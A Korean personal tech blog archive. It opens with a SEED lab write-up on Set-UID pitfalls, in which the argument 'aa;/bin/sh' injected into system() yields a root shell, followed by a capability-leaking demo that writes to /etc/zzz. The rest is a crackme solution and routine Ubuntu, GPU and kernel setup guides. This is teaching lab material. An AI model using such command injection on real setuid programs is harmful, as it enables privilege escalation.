Goal: Understand the dangerous of system() function

It has nothing to do with environment variables

Step 1: Compile the below program, make it a root-owned Set-UID program. The program will use system() to invoke the command. Can you compromise the integrity of the system? For example, can you remove a file that is not writable to you?

Step 2: Comment out the system(command) statement, and uncomment the execve() statement; the program will use execve() to invoke the command. Compile the program, and make it a root-owned Set-UID. Do your attacks in Step 1 still work? Please describe and explain your observations.

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        char *v[3];
        char *command;

        if(argc < 2){
                printf("Please type a file name.\n");
                return 1;
        }

        v[0] = "/bin/cat"; v[1]=argv[1]; v[2] = NULL;

        command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
        sprintf(command, "%s %s", v[0], v[1]);

        system(command);
        //execve(v[0], v, NULL);

        return 0;
}

[01/11/21]seed@VM:~/.../SETUID$ gcc -o task8 task8.c
[01/11/21]seed@VM:~/.../SETUID$ sudo chown root task8
[01/11/21]seed@VM:~/.../SETUID$ sudo chmod 4755 task8
[01/11/21]seed@VM:~/.../SETUID$ sudo ln -sf /bin/zsh /bin/sh

일반적으로 ";" 를 이용해 여러 명령어를 실행할 수 있다. task8 프로그램이 Set-UID 권한을 갖는 root 프로그램이기 때문에 중요한 명령어들을 실행할 수 있다.

[01/11/21]seed@VM:~/.../SETUID$ ./task8  "aa;/bin/sh"
/bin/cat: aa: No such file or directory
# id           
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#

system() 함수와 달리 execve() 함수는 shell이 실행하는것이 아니라 OS가 execve() 함수로부터 받은 parameter를 조합하여 실행한다. 따라서 ";"를 이용해 여러 명령어를 실행하려 하더라도 OS는 이것을 하나의 명령어로 받아들여 다음과 같이 정상적으로 실행할 수 없다.

[01/11/21]seed@VM:~/.../SETUID$ ./task8 "aa;bin/sh"
/bin/cat: 'aa;bin/sh': No such file or directory

Task 9: Capability Leaking

Compile the following program, change its owner to root, and make it a Set-UID program. Run the program as a normal user, and describe what you have observed. Will the file /etc/zzz be modified? Please explain your observation.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

void main()
{
        int fd;

        /* Assuem that /etc/zzz is an important system file,
         * and it is owned by root with permission 4755.
         * Before running this program, you should creat
         * the file /etc/zzz first */

        fd = open("/etc/zzz", O_RDWR | O_APPEND);

        if(fd ==-1){
                printf("Cannot open /etc/zzz\n");
                exit(0);
        }

        /* Simulate the tasks conducted by the program */
        sleep(1);

        /* After the task, the root privileges are no longer needed,
           it's time to relinquish the root privileges permanently. */
        setuid(getuid());       /* getuid() returns the real uid*/

        if(fork()){ /* in the parent process */
                close(fd);
                exit(0);
        } else{ /* in the child process */
        /* Now, assume that the child process is compromised, malicious
           atackers have injected the following statements into this process*/

        write (fd, "Malicious Data\n", 15);
        close(fd);
        }
}

[01/11/21]seed@VM:~/.../SETUID$ sudo chown root task9
[01/11/21]seed@VM:~/.../SETUID$ sudo chmod 4755 task9
[01/11/21]seed@VM:~/.../SETUID$ sudo touch /etc/zzz

fork() 함수를 사용하게 되면 child process와 parent process 모두 동일한 file descriptor를 사용한다. paranet process는 "/etc/zzz"에 대한 fd를 close했지만, child process는 여전히 "/etc/zzz"에 대한 fd를 소유하고 있기 때문에 child process는 fd에 접근하여 "Malicious Data"를 쓸 수 있다.

참고문헌

[1] seedsecuritylabs.org/Labs_16.04/

[코드엔진] 제대로 공부하는 Basic RCE L01

MarcoKhan — Thu, 29 Oct 2020 21:47:11 +0900

============================================================================

본격적으로 코드엔진 리버싱 풀이에 대해 포스팅한다.

"제대로" 공부하기 위해 어떻게 프로그램을 바라보고 분석해야 하는지에 초점을 맞추고 "제대로" 풀이한다.

============================================================================

문제: Basic RCE L01

- HDD를 CD-Rom으로 인식시키기 위해서는 GetDriveTypeA의 리턴값이 무엇이 되어야 하는가..?

풀이

1. 실행 및 유추

분석할 프로그램을 받자마자 분석하는것은 개인적으로 어리석다고 생각한다.

우선 분석할 프로그램이 실행 가능하다면, 프로그램을 실행해보고 어떤 흐름을 갖는지 생각하는 것이 중요

Fig 1. 결과화면 1

Fig 2. 결과화면 2

사용자가 누를 수 있는 버튼은 Window MessageBox 확인 버튼 뿐이고 확인을 누르면 "Nah... This is not a CD-ROM Drive!"을 표시한 window MessageBox가 출력된다.

문제로 미루어 보았을 때 이 프로그램 내부에서 GetDriveTypeA의 return 값을 특정 값(?)과 비교하여 True/False로 분기하는 것 같다.

2. 간단한 정적 분석

필자는 주로 분석 프로그램을 분석하기 전에 패킹 유무나 유의미한 정보를 얻기 위해 간단한 정적 분석을 시도한다.

"Exeinfo pe"를 활용한 결과는 Fig 3.과 같다.

Fig 3. Exeinfo PE 결과화면 1

100% 신뢰할 수 없지만 Window GUI 프로그램인 것과 패킹이 되어 있지 않은 것을 확인 할 수 있다.

Fig 4. Exeinfo PE, Header 정보 결과화면

Fig 4.에서 Image base와 Base of Code를 이용해 0x401000번지가 Entry Point가 될 확률이 높다는 것을 확인할 수 있다.

3. OllyGDB를 활용한 바이너리 분석

Fig 5.처럼 MessageBoxA API를 호출한 뒤 GetDriveTypeA를 호출하고 "inc, dec, jmp, cmp, je" 명령어로 GetDriveTypeA의 return value(eax)를 연산하고 비교하는 것을 확인할 수 있다.

Fig 5. OllyGDB 결과화면 1

GetDriveTypeA의 return value를 설명한 것은 Fig 6.fh 나타낼 수 있다.

현재 RootPahtName="c:\"로 설정되어 있기 때문에 DRIVE_FIXED value 를 나타내는 3이 reutrn된다.

Fig 6. GetDriveTypeA의 reuturn value

0x0040101D~0x00401026의 assembly를 C-type pseudo code로 나타내면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12

eax = 3             // return value of GetDriveTypeA
esi = 0
esi++;              // esi = 1
eax--;              // eax = 2
esi++;              // esi = 2
esi++;              // esi = 3
eax--;              // eax = 1
 
if(eax != esi)
    MessageBox("Ok, I really think that your HD is a CD-ROM! :p");
else
    MessageBox("Nah... This is not a CD-ROM Drive");

cs

즉, 문제를 해결하기 위해서 eax - 2 => 3이 되는 값으로 GetDriveTypeA의 return value가 설정되어야 한다.

GetDriveTypeA의 return value가 DRIVE_CDROM(5)일 때가 이 문제의 정답이 된다.

www.codeengn.com/challenges/

CodeEngn.com [코드엔진] - Challenges

코드엔진은 국내 리버스엔지니어링 정보공유를 위해 2007년 부터 리버스엔지니어링 컨퍼런스 및 비공개 워크숍을 현업 실무자들과 함께 운영하고 있습니다. 리버스엔지니어링이라는 하나의 큰

www.codeengn.com

docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea

GetDriveTypeA function (fileapi.h) - Win32 apps

Determines whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive.

docs.microsoft.com

[Ubuntu 18.04/20.04] Virtual Machine with Passthrough

MarcoKhan — Tue, 27 Oct 2020 11:33:56 +0900

최근 cloud 환경에서도 GPU를 사용하고자하는 노력이 많아지면서 호스트의 개입없이 Guest VM이 직접 GPU를 할당받아 사용할 수 있는 passthrough 기술이 도입되었다. 본 글에서는 Ubuntu 18.04/20.04 버전에서 KVM을 이용해 passthrough를 설정하는 방법에 대해 기술한다.

하드웨어 기술

필요한 하드웨어 기술은 다음과 같다. 필자는 Intel CPU를 사용한다.

VT-x, VT-d: Enable

위 두 기술은 BIOS에 진입하여 Enable 해야 한다.

GRUB 수정

$sudo vim /etc/default/grub

intel_iommu=on iommu=pt 추가

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash intel_iommu=on iommu=pt"

$sudo update-grub

$sudo reboot

커널 모듈 설정

$sudo lspci -nn | grep -i intel

$sudo vim /etc/default/grub

vfio-pci.ids=8086:5912 [passthrough 하고 싶은 device의 ID 추가]

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash intel_iommu=on iommu=pt vfio-pci.ids=8086:5912"

$sudo update-grub

$sudo reboot

설정 확인

$sudo dmesg | grep -i vfio

$sudo lspci -k

호스트 머신에서 passthrough로 설정한 device가 vfio-pci로 잡혀있으면 성공한 것이다.

KVM 설정

본 포스팅에서는 Intel Integrated GPU를 VM이 passthrough를 이용해 접근할 것이다.

따라서 Video -> VGA를 반드시 선택하자

VGA를 선택하지 않는다면 graphic crash가 발생할 수 있다.

Add Hardware -> PCI Host Device -> passthrough를 원하는 Device를 선택한다.

이후 성공적으로 VM에서 passthrough를 사용하여 iGPU에 접근할 수 있다.

[Ubuntu 18.04/20.04] How to install intel-OpenCL on Ubuntu 18.04

MarcoKhan — Tue, 27 Oct 2020 11:26:36 +0900

Ubuntu18.04에서 Intel 내장 그래픽카드(Integrated GPU)를 사용하기 위한 환경을 구성하는데 필요한 것들을 포스팅한다.

OpenCL GPU driver (Neo)

OpenCL도 Nvidia의 CUDA처럼 최근까지 진화되어 왔다. 1.x버전에서 2.x버전으로 이동하면서 Neo라는 드라이버를 지원한다. 간단하게 Neo는 OepnCL Driver Stack을 부르는 말이다.

Neo는 다음과 같은 방법으로 설치할 수 있다.

$ sudo add-apt-repository ppa:intel-opencl/intel-opencl

$ sudo apt-get update

$ sudo apt install intel-opencl-icd

clinfo

clinfo는 OpenCL platform과 devices를 사용자에게 보여주는 툴이다.

Neo가 정상적으로 설치되었는지 확인하기 위해서 clinfo를 설치하여 확인할 수 있다.

다음과 같은 방법으로 clinfo 명령어를 설치할 수 있다.

$ sudo apt-get install clinfo

$ clinfo 명령어를 사용했을 때 아래와 같은 결과화면이 나왔다면 정상적으로 OpenCL 드라이버가 설치된 것이다.

libOpenCL.so

이제 Intel integrated GPU를 사용해 정상적으로 OpenCL 코드를 수행하기 위해서 OpenCL 라이브러리를 설치해야한다.

libOpenCL.so를 다음과 같은 방법으로 설치할 수 있다.

$ sudo apt-get update

$ sudo apt-get install ocl-icd-opencl-dev

OpenCL이 정상적으로 동작하는것을 확인하기 위해 테스트를 할 수 있다.

아래 URL에서 예제 소스를 다운받자.

https://github.com/jcupitt/opencl-experiments/tree/master/tools-master

jcupitt/opencl-experiments

messing about with opencl. Contribute to jcupitt/opencl-experiments development by creating an account on GitHub.

github.com

~/tools-master 디렉터리에서 print-device를 실행하였을 때 platform과 device가 정상적으로 출력되었다면 올바르게 OpenCL를 사용할 수 있느 환경을 구성한 것이다.

$ ./print-devices 를 실행했을 때 아래와 비슷한 결과화면이 나온다면 정상적으로 OpenCL을 사용할 수 있는 환경이다.

[Ubuntu] Nvidia Nsight compute usage

MarcoKhan — Wed, 10 Jun 2020 15:19:52 +0900

Nvidia GPU는 최근 크게 여섯가지 아키텍처로 구별할 수 있다. <그림 1> 참고.

Compute capability가 높을수록 최신 아키텍처라고 생각하면 될 것 같다.

<그림 1>

GPU로 CUDA programming을 하면서 GPU Kernel을 분석할 필요가 있다.

Nvidia에서는 profiling tool로 크게 두 개를 제공한다.

Nvidia nvprof

- CLI 기반으로 profiling data를 보여준다.

- Kepler, Maxwell

Nvidia Nsight compute

- Grahpic 기반으로 profiling data를 보여준다.

- Pascal, Turing, Volta

Pascal 이후 Nvidia 아키텍처에서는 일반적으로 nvprof를 사용할 수 없고 Nsight 사용을 권장한다.

( 여기 저기서 CUDA toolkit을 다운받아 설치하면 부분저적으로 사용할 수 있기는 하다...)

Nsight를 우분투에 설치하고 사용하기 위해서 [2]에서 Nsight를 다운받고 설치한다.

이후 Nsight를 실행하고 profiling을 할 때 다음과 같은 에러 메세지를 만날 수 있다.

"ERR_NVGPUCTRPERM: Permission issue with Performance Counters

총 3단계로 위와 같은 에러 메세지를 처리할 수 있다.

1. Nvidia에서 기본적으로 제공하는 모듈 언로드

$ sudo systemctl isolate multi-user // Stop the window manager (run level 변경)

$ modprobe -r nvidia_uvm nvidia_drm nvidia_modeset nvidia-vgpu-vfio nvidia # Unload dependent modules

2. Access 권한 설정

- administrative privileges

$ modprobe nvidia NVreg_RestrictProfilingToAdminUsers=1

- any user

$ modprobe nvidia NVreg_RestrictProfilingToAdminUsers=0

3. Reboot

systemctl isolate graphical // Restart the window manager. (run level 변경)

* 현재 시스템의 run level은 아래와 같은 명령어로 확인할 수 있다.

$ sudo systemctl get-default

에러 처리 이후 Nsight System을 실행한다. <그림 2> 참고.

<그림 2>

<그림2>에서 가장 잘 설정해주어야할 부분은 다음과 같다.

Target application -> Command line with arguments, Working directory이다.

Nsight System 내부적으로 Working directory의 Command line with arguments 을 실행한다.

<그림 3>

<그림 3> 처럼 실행 방식을 알아보기 위해 간단히 input parameter를 설정해주고 우측 상단의 Start를 클릭한다.

<그림 4>

<그림 4>의 에러를 확인하면 working directory | Command line with arguments (concatenate)되어 실행된다.

루트 경로부터 working directory를 설정해야한다는 것을 주의하자. (pwd 명령어로 디렉터리를 확인하는게 정확하다.)

<그림 5>

Nsight System profiling tool이 자동으로 멈추지 않기 때문에 적당한 시간을 기다린 후 stop을 누르면 된다.

<그림 6>

Stop을 누르면 <그림 6>처럼 profling data가 graphic으로 잘 나타나는 것을 확인할 수 있다.

==================================================================

추가적으로 /proc/sys/kernel/perf_event_paranoid의 level에 따라 profile 할 수 있는 값이 다르다.

Nsight는 다음과 같이 설명하고 있다.

Collection of IP samples, backtraces, and scheduling data disabled. perf event paranoid level is 3.
Change the paranoid level to 2 to enable IP sample, backtrace, and scheduling data collection. Change the paranoid level to 1 to enable kernel sample collection.
Try $ sudo sh -c 'echo [level] >/proc/sys/kernel/perf_event_paranoid' where 'level' equals 1 or 2 to change the paranoid level.

필요에 맞게 level을 잘 설정하여 사용하기를 바란다.

==================================================================

[reference]

[1] https://developer.nvidia.com/nvidia-development-tools-solutions-ERR_NVGPUCTRPERM-permission-issue-performance-counters

NVIDIA Development Tools Solutions - ERR_NVGPUCTRPERM: Permission issue with Performance Counters

Overview This page provides an explanation and solutions for the following error message from various NVIDIA development tools: ERR_NVGPUCTRPERM The user running tool_name/application_name does not have permission to access NVIDIA GPU Performance Counters

developer.nvidia.com

[2]https://developer.nvidia.com/nsight-compute

NVIDIA Nsight Compute

NVIDIA® Nsight™ Compute is an interactive kernel profiler for CUDA applications. It provides detailed performance metrics and API debugging via a user interface and command line tool. In addition, its baseline feature allows users to compare results wit

developer.nvidia.com

[Ubuntu 18.04] How to install xrdp, xmate on Ubuntu 18.04 LTS with Nvidia graphic card

MarcoKhan — Fri, 21 Feb 2020 17:10:14 +0900

Window 10에서 Ubuntu 18.04에 원격 접속하는 방법에 대해 설명한다.

Nvidia driver 설치하는 법도 같이 설명한다.

XRDP 설치

1. xrdp, xorgxrdp 설치

$ sudo apt-get install xrdp

$ sudo apt-get install xorgxrdp

xorgxrdp 패키지를 설치할 때 의존성이 발생한다.

필자는 xorg-video-abil-23을 설치했다.

이후 xorgxrdp 패키지를 성공적으로 설치할 수 있다.

$ sudo apt-get install xorg-video-abi-23

2. 우분투 인증(authentication) 설정

/etc/polkit-1/localauthority/50-local.d/45-allow-colord.pkla 파일에 아래와 같은 내용을 기입한다.

$ sudo vim /etc/polkit-1/localauthority/50-local.d/45-allow-colord.pkla

[Allow Colord all Users]
Identity=unix-user:*
Action=org.freedesktop.color-manager.create-device;org.freedesktop.color-manager.create-profile;org.freedesktop.color-manager.delete-device;org.freedesktop.color-manager.delete-profile;org.freedesktop.color-manager.modify-device;org.freedesktop.color-manager.modify-profile
ResultAny=no
ResultInactive=no
ResultActive=yes

아래의 파일을 다운받아서 사용하세요.

45-allow-colord.pkla

0.00MB

3. XRDP 서비스 시작, 포트 확인

$ sudo service xrdp restart

$ sudo service --status-all | grep + | grep xrdp

$ sudo netstat -antp

xrdp의 service 확인을 했을 때 [+] xrdp가 설정되어야 하고

netstat -antp로 listen port를 보았을 때, xrdp에 3389 port가 열려있어야 한다.

$ sudo reboot

==========================================================================

마우스 & 키보드가 멈출 때..

때때로 reboot 이후 마우스, 키보드가 움직이지 않는 현상이 발생한다.

$ sudo apt purge xserver-xorg-input *

$ sudo apt install xserver-xorg-input-all

$ sudo reboot

input interface를 모두 지우고 다시 설치하면 정상적으로 작동하는것을 확인할 수 있다.

============================================================================

Nvidia driver 설치

이전 블로그에서 Nvidia driver 설치하는 방법에 블로깅을 진행했는데 더 좋은 방법이 있어 추가로 진행한다.

수동으로 apt-get을 이용해 설치할 수 있는 방법이 있기 때문에 설명한다.

다음 명령어를 통해 사용할 수 있는 드라이버의 종류를 알 수 있다.

recommended 된 패키지를 설치하면 된다.

$ ubntu-drivers devices

관련 repository를 추가해야한다.

$ sudo add-apt-repository ppa:graphics-drivers/ppa

$ sudo apt update

repository 내에 설치하고 싶은 드라이버가 있는지 확인한다.

$ sudo apt-cache search nvidia | grep nvidia-driver-435

nvidia-driver-435 - NVIDIA driver metapackage

드라이버가 있다면 apt-get 을 이용하여 nvidia-driver-435 드라이버를 설치할 수 있다.

$ sudo apt-get install nvidia-driver-435

$ sudo reboot

재부팅 후 nvidia-smi 명령어를 통해 nvidia driver 설치 여부를 확인할 수 있다.

$ nvidia-smi

Window 10에서 Ubuntu 18.04 원격 데스크톱 연결하기

필자는 포트포워딩을 사용했기 때문에 port 5356을 지정했다.

포트포워딩을 사용하지 않으면 port 3389를 사용하면 된다.

연결을 누르면 아래와 같은 화면을 볼 수 있다.

Session은 Xorg로 설정하고 username/password를 잘 설정하면 된다.

Mate 설치

조금 더 편안한 사용을 위해 mate를 설치한다.

$ sudo apt install tasksel

$ sudo apt update

$ sudo tasksel install ubuntu-mate-desktop

설치하다보면 아래의 순서로 진행하면 된다.

$ reboot

Mate 데스크탑 접속

$ sudo apt-get update

$ sudo apt-get install mate-core mate-desktop-environment mate-notification-daemon

설치 이후 /etc/xrdp/startwm.sh 파일을 업데이트 해야한다.

$ sudo sed -i.bak '/fi/a/ #xrdp multiple users configuration \n mate-session \n' /etc/xrdp/startwm.sh

다시 window10에서 원격접속을 실행하면 다음과 같다.

가끔 terminal에 명령어를 실행하면 thinclinet_drivers 문제가 발생한다.

아래 명령어를 통해 thinclient-drivers를 umount 할 수 있다.

$ sudo umount -l /home/<username>/thinclient-drivers

xrdp를 재시작하고 재부팅하면 성공적으로 사용할 수 있다.

$ sudo service xrdp restart

$ sudo reboot

========================================================================================================================================================

위 내용은 아래의 블로그들을 참고 했습니다.

https://jimnong.tistory.com/757

http://c-nergy.be/blog/?p=12043

https://home.angelnara.kr/blog/itinfo/%EC%9A%B0%EB%B6%84%ED%88%AC/13812/

https://codechacha.com/ko/install-nvidia-driver-ubuntu/

https://linuxconfig.org/how-to-install-mate-desktop-on-ubuntu-18-04-bionic-beaver-linux

https://goodtogreate.tistory.com/entry/%EC%9A%B0%EB%B6%84%ED%88%AC-1604-%EC%9B%90%EA%B2%A9-%EB%8D%B0%EC%8A%A4%ED%81%AC%ED%83%91-%EC%84%A4%EC%A0%95

http://c-nergy.be/blog/?p=8952

https://locker69.tistory.com/entry/Error-when-getting-information-for-file-homeleedainthinclientdrivesTransport-endpoint-is-not-connected

Ubuntu 18.04, Install Nvidia driver and CUDA, cuDNN

MarcoKhan — Tue, 11 Feb 2020 09:47:09 +0900

Ubuntu에서 Nvidia 계열의 GPU를 사용하여 CUDA를 이용해 프로그래밍을 하는 상황이 많이 존재한다.

본 포스팅에서는 우선 Nvidia driver를 설치하고 이후 CUDA를 설치하는 방법에 대해 설명한다.

참고

$ vim ~/.bashrc 의 line 70 은 사용자의 prompt를 변경할 수 있다.

좀 더 편리한 prompt를 사용하기 위해 아래의 코드를 이용해 변경했다.

PS1="[\[\e[1;31m\]\u\[\e[m\]@\[\e[1;32m\]\h\[\e[m\]: \[\e[1;36m\]\w\[\e[m\]]$ "

$ source ~/.bashrc 명령을 통해 bashrc를 적용할 수 있다.

재접속 시 prompt가 변경된것을 확인할 수 있다.

1. Nvidia driver 설치

====================================================================

Ubuntu에는 기본적으로 Nouveau 드라이버가 설치되어 있다.

Nvidia 드라이버와 Nouveau 드라이버가 모두 설치되어 있으면 collision이 발생할 수 있기 때문에 Nouveau를 disable 해야한다.

아래의 두 명령어로 disable 한다.

$ sudo apt-get remove nvidia* && sudo apt autoremove

$ sudo apt-get install dkms build-essential linux-headers-generic

/etc/modprobe.d/blacklist.conf 파일에 아래의 blacklist를 추가한다.

$ sudo vi /etc/modprobe.d/blacklist.conf

blacklist nouveau

blacklist lbm-nouveau

options nouveau modeset=0

alias nouveau off

alias lbm-nouveau off

$ sudo update-initramfs -u

$ reboot

위 과정을 통해 Nouveau 드라이버를 disable 할 수 있다.

====================================================================

$ sudo lshw -C display 명령어로 우분투에서 사용할 수 있는 hardware list를 보여준다.

간단히 설치할 수 있는 방법으로 ubuntu에서 Nvidia 그래픽카드 관련 드라이버를 자동 설치해주는 명령어가 존재한다.

$ sudo add-apt-repository ppa:graphics-drivers/ppa

$ sudo apt update

$ sudo ubuntu-drivers autoinstall

$ sudo reboot

재부팅 후 hardware list를 확인하면 자동설치로 Nvidia 그래픽카드를 사용할 수 있음을 확인할 수 있다.

$ sudo lshw -C display

최종적으로 아래의 명령어를 통해 Nvidia 드라이버 설치를 다시 확인할 수 있다.

2. CUDA 설치

https://developer.nvidia.com/cuda-toolkit-archive 에서 원하는 버전의 CUDA Toolkit을 설치한다.

$ sudo dpkg -i cuda-repo-ubuntu1804-10-0-local-10.0.0.130-410.48_1.0-1_amd64.deb 로 다운받은 파일을 설치한다.

$ sudo apt-key add /var/cuda-repo-10-0-local-10.0.130-410.48/7fa2af80.pub

$ sudo ap-get update

$ sudo apt-get install cuda

위의 명령어로 설치한다.

$ vim ~/.bashrc (bashrc의 맨 마지막에 아래의 두 줄을 기입한다.)

export PATH=/usr/local/cuda-10.0/bin${PATH:+:${PATH}}
export LD_LIBRARY_PATH=/usr/local/cuda-10.0/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}

$reboot

$ nvcc -V 로 버전 확인이 완료되면 성공적으로 설치가 완료된것이다.

추가

===================================================================

Nvidia Driver 설치와 CUDA 설치 시 충돌이 발생하여 아래와 같은 문구가 나올 수 있다.

NVIDIA-SMI has failed because it couldn't communicate with the NVIDIA driver. Make sure that the latest NVIDIA driver is installed and running.

그럴 때 Nvidia driver를 삭제하고 다시 설치하면 다시 Nvidia 그래픽카드를 사용할 수 있다.

$ sudo apt-get remove --purge nvidia*

$ sudo apt-get autoremove

====================================================================

[Ubuntu] How to Kernel Compile

MarcoKhan — Sun, 20 Oct 2019 10:29:21 +0900

우분투를 사용하면서 원하는 버젼의 커널을 사용하거나, 커널 코드 변경으로 인해 커널을 컴파일해야할 경우가 많다.

따라서 간단히 커널 컴파일 방법에 대해 소개하려 한다.

커널은 아래의 kernel Archives를 제공하는 사이트에서 다운 받을 수 있다. 커널은 계속 업데이트되고 변경되고 버려지기 때문에 되도록 Stable kernel version을 다운로드 하는것을 추천한다.

1. 커널 다운로드

https://www.kernel.org/

The Linux Kernel Archives

www.kernel.org

필자는 최신 버전을 선택했지만, 원하는 버전에 맞춰 다운로드하면 된다.

"Save File" 옵션을 선택한다. 일반적으로 Save File 옵션을 선택하면 ~/Download 위치에 다운된다.

2. 컴파일 주요 패키지 설치 & 커널 압축 해제

커널 설치, 환경 설정을 하기 위해서 반드시 설치해야하는 패키지들이 존재한다.

아래의 명령어를 통해 컴파일시 주요 패키지를 설치할 수 있다.

$sudo apt-get update

$sudo apt-get install build-essential libncurses5 libncurses5-dev bison flex libssl-dev libelf-dev bin86 kernel-package

다운받은 kernel의 형태는 linux-[kernel version].tar.xz로 되어 있다.

xz로 압축을 풀면 linux-[kernel version].tar로 풀리고

tar로 한 번더 압축을 풀면 linux-[kernel version]으로 풀린다.

$sudo xz -d linux-[kernel version].tar.xz

$sudo tar -xvf linux-[kernel version].tar

3. 커널 컴파일 .config 설정

새로운 커널을 설치할 때 이전에 사용한 정보들을 가져갈지 새롭게 설치할지 선택해야한다.

여기서는 새롭게 설치한다는 내용이지만 이전 정보들을 가져가고 싶다면 /boot/config-[kernel version] 파일을 복사 후 menuconfig에 복사한파일을 넣어주면 된다.

컴파일하기전 .config 파일을 설정할 필요가 있으므로 .config를 만들기 위해 아래의 명령어를 사용한다.

$sudo make menuconfig

위의 명령어는 반드시 커널 디렉토리 내부에서 해야한다.

그렇다면 아래와 같은 환경을 만날 수 있다. 만일 이전 정보들을 복사했다면 Load를 통해, 새롭게 설치한다면 "Save"를 누르면 된다.

Save를 누르면 다음과 같은 화면이 나오고 OK를 누르면 된다. 이렇게 된다면 기존에 있던 .config 파일이 덮어쓰게 되어서 이전 작업들이 사라지니 주의하자.

Exit로 나오면 "End of the configuration" 문구를 만날 수 있고, 잘 설정이 적용된것이다.

4. 커널 컴파일 과정

커널 컴파일은 오래 걸리는 작업인데 make -j#을 통해 thread로 나누어 컴파일 할 수 있다.

다만, CPU core의 1.5배~2배가 적당하므로 개인 PC 환경에 맞춰 컴파일 하면 된다.

$sudo make-kpkg -j2 --initrd --revision=1.0 kernel_image

옵션에 대해서 간단히 설명하면 다음과 같다.

make-kpkg: 커널과 관련된 데비안 패키지를 생성하기 위해 사용하는 옵션이다.

-j2: 2개의 thread로 컴파일을 진행한다.

--initrd:

--revision=1.0: 버전 번호는 커널 빌드를 좀 더 쉽게 파악하기 위한 번호이다. 마음대로 수정 가능하다.

kernel_image: kernel_image가 설치할 수 있는 deb로 만들어진다. 즉, [kernel version].deb의 output이 나온다.

커널 컴파일이 끝나면 상위 디렉터리에 linux-image-[kernel version].deb파일이 생기는 것을 확인할 수 있다.

$sudo dpkg -i linux-image-[kernel version].deb 커널을 설치 후 reboot 하면 완료이다

reboot 후에 아래의 명령어를 통해 새로운 커널이 설치되었음을 확인할 수 있다.

$uname -r

[Ubuntu] How to install Visual Studio Code

MarcoKhan — Sat, 19 Oct 2019 20:01:05 +0900

우분투 환경에서 vim, gedit 이외에 editor를 필요로 할 때가 있는데 그 중 MS에서 제공하는 Visual Studio Code가 기능이 좋아, 설치하는 방법에 대해 설명하려 한다.

1. Visual Studio Code deb 패키지 다운로드

아래 경로를 통해 Visual Studio Code를 다운로드하는 사이트로 이동할 수 있다.

https://code.visualstudio.com/downloa

Download Visual Studio Code - Mac, Linux, Windows

Visual Studio Code is free and available on your favorite platform - Linux, macOS, and Windows. Download Visual Studio Code to experience a redefined code editor, optimized for building and debugging modern web and cloud applications.

code.visualstudio.com

우분투 환경에서 설치하기 때문에 .deb를 선택한다.

Save File를 선택한 후 OK를 누른다. 보통 Save File 옵션을 선택하면 ~/Download 경로에 파일이 다운로드 된다.

2. Visual Studio Code deb 패키지 설치

Visual Studio Code를 설치 할 때 dpkg 패키지를 사용할 것인데 의존성이 있는 패키지가 있으므로 먼저 의존성이 있는 패키지들을 먼저 설치한다.

의존성있는 패키지 설치가 다 되었으면 "dpkg -i [파일이름.deb]"를 통해 deb 파일을 설치할 수 있다.

console창에 code 명령을 통해 Visual Studio Code를 실행할 수 있다.

[Ubuntu 18.04/20.04] Ubuntu Host, KVM network bridge setting

MarcoKhan — Fri, 6 Sep 2019 16:51:24 +0900

네트워크 환경(Interface)를 확인하기 위해 아래의 명령을 실행한다.

$ ifconfig

인터페이스 이름이 ens33 으로 설정된 것을 확인할 수 있다.

꼭 ens33이 아닐 수 있으니, ethernet과 flag의 <BROADCAST>를 확인하면 된다.

우분투에는 NetPlan이라는 네트워크 환경 설정 데몬이 존재한다.

NetPlan 설정파일은 아래의 경로에 존재하고 cat 명령어로 netplan 설정파일의 내용을 확인할 수 있다.

$ cat /etc/netplan/01-network-manager-all.yaml

아래와 같이 bridge 설정을 위해 /etc/netplan/01-network-manager-all.yaml 파일을 수정한다.

빨간 네모에 주의하여 수정해야한다. 또한 에러가 발생할 수 있으니 띄어쓰기 두개로 들여쓰기를 구분하면 된다.

아래의 명령어로 netplan 데몬을 이용해 netplan 설정파일을 적용할 수 있다.

$ sudo netplan apply

error가 발생하지 않으면 성공적으로 설정파일이 적용된 것이다.

이후 아래의 내용을 가진 br0.xml 파일을 /etc/ 에 생성한다.

br0.xml을 적용하기 위해 아래의 세 명령어를 실행하면된다.

$ sudo virsh net-define br0.xml

$ sudo virsh net-start br0

$ sudo virsh net-autostart br0

error가 발생하지 않으면 xml 파일이잘 적용된 것이고 아래 명령어로 네트워크 상태를 확인할 수 있다.

$ sudo virsh net-list --all

KVM에서 bridge 설정을 적용하기 위해 KVM 왼쪽 상단의 i를 선택한뒤 NIC card에서 bridge로 잡아주면 된다.

설정 완료!

Ubuntu KERNEL Upgrade, Downgrade, Remove , Hold 18.04

MarcoKhan — Tue, 9 Jul 2019 22:29:19 +0900

$ uname -r 을 통해 현재 kernel version을 확인할 수 있다.

만일 다른 version의 kernel이 필요하거나, auto kernel upgrade를 막고 싶다면 아래 1, 2, 3 을 참고하라.

1. ubuntu 18.04 KERNEL Upgrade

$ sudo apt-get install aptitude

$ sudo aptitude search linux-image

linux kernel version을 search 할 수 있다. 만일 원하는 version이 존재한다면 다운로드 가능하다.

$ sudo apt-cache policy linux-image-[version]

Installed에 (uninstalled)와 같이 설치가 안되어 있다면 아래 명령어를 더 실행하자.

$ sudo aptitude install linux-image-[version]

$ sudo vi /etc/default/grub

GRUB_TIMEOUT_STYLE=hidden과 GRUB_TIMEOUT=0을 주석처리한다.

$ sudo update-grub

$ reboot

만약 reboot을 하여도 kernel version이 바뀌지 않으면,

2번을 따라 상위 version의 kernel을 지워야한다.

2. ubuntu 18.04 KERNEL Remove

$ sudo dpkg -l | grep linux-

$ sudo apt-get purge linux-headers-[version] linux-headers-[version]-generic

$ sudo apt-get purge linux-image-[version] linux-modules-[version]-generic

$ reboot

kernel image를 지우면 위와 같은 화면이 나올 수 있는데 NO를 누르자.

3. ubuntu 18.04 KERNEL Hold

$ sudo apt-mark hold linux-image-generic linux-headers-generic

[Protostar] Stack6 풀이, write-up

